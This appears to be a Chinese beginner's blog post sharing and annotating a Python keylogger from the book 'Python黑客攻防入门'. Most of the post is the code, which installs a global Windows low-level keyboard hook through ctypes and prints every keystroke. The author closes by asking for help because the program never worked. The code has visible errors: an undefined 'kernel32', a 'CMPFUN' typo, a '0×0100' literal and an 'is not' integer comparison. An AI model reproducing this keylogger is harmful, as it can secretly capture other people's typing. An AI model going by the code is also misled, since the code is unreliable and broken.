python黑客攻防入门下载-Python键盘钩取的自我理解(来源于《Python黑客攻防入门》)...

最近从图书馆借到一本书《Python黑客攻防入门》,感觉里面的提供的代码模块对自己深有感触(主要我超菜),所以打算尝试写点小分析,希望大家能谅解本人的语言组织与技术分析。

希望有人来讨论......

python 3.7版本

代码块

import sys

from ctypes import *

from ctypes.wintypes import MSG

from ctypes.wintypes import DWORD

#调用WIN32中的API

user32= windll.user32 #以windll加载user32.dll文件

kernel=windll.kernel32 #加载kernel32.dll文件

WH_KEYBOARD_LL=13 #安装一个监视低级键盘输入事件的钩子过程

WM_KEYDOWN=0×0100 #按下一个非系统键时将消息发送给具有键盘焦点窗口(不与ALT键连用)

CTRL_CODE =162

#定义挂钩函数

class KeyLogger:

def __init__(self):

#初始化

self.lUser32 =user32

self.hooked =None

#装载钩子

def installHookProc(self,pointer):

self.hooked = self.lUser32.SetWindowsHookExA(

WH_KEYBOARD_LL, #要监视的事件

pointer, #指向钩子过程的指针

kernel32.GetModuleHandleW(None), #要钩取的线程所属的DLL句柄,此函数返回

0 #要钩取的线程ID,为0则表示全局钩子

)

if not self.hooked:

return False #return false阻止向下执行

return True #返回正常结果,正常执行

#定义脱钩函数

def uninstallHookProc(self):

if self.hooked is None:

return #return返回值为None,控制权交回

self.lUser32.UnhookWindowsHookEx(self.hooked) #Unhook函数拆除之前设置的钩子

self.hooked=None

#获取函数指针

def getFPTR(fn):

CMPFUNC = CFUNCTYPE(c_int,c_int,c_int,POINTER(c_void_p))

return CMPFUN(fn)

#定义钩子过程

def hookProc(nCode, wParam, lParam):

if wParam is not WM_KEYDOWN:

return user32.CallNextHookEx(keyLogger.hooked,nCode,wParam,lParam)

hookedKey = chr(lParam[0])

print(hookedKey)

if(CTRL_CODE == int(lParam[0])):

print("Ctrl pressed,call uninstallHook()")

keyLogger.uninstallHookProc()

sys.exit(-1)

return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)

#8.传递消息:GetMessageA()函数函数监视队列,消息进入队列后取出消息,并传递给勾连中的

#第一个钩子

def startKeyLog():

msg = MSG()

user32.GetMessageA(byref(msg), 0, 0, 0)

#9.启动消息钩取,首先创造KeyLogger 类,然后installHookProc()函数设置钩子,同时

#注册钩子过程回调函数。最后调用startKeyLog()函数,将进入队列的消息传递给勾连

keyLogger = KeyLogger()

pointer = getFPTR(hookProc)

if keyLogger.installHookProc(pointer):

print("installed keyLogger")

startKeyLog()

概念理解:

钩子(hook):操作系统为有消息到来或发生鼠标点击、键盘输入等事件时,操作系统提供了中间拦截机制。钩子分为本地钩子和全局钩子。本地钩子针对特定线程设置,全局钩子针对操作系统中运行的所有线程设置。

方法简要:

使用user32.dll提供的SetWindowsHookExA()函数可以设置钩子。

使用python中默认提供的ctypes模块,可以在python程序中调用DLL,使用C语言的变量类型。

MSDN提供对WIN API的使用方法。

总结:

我靠,这程序运行出来命令行一直是黑屏,没反应。是因为360吗,反正我搞了两天这程序没成功,希望有大佬可以伸出援助之手,帮帮小弟...

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值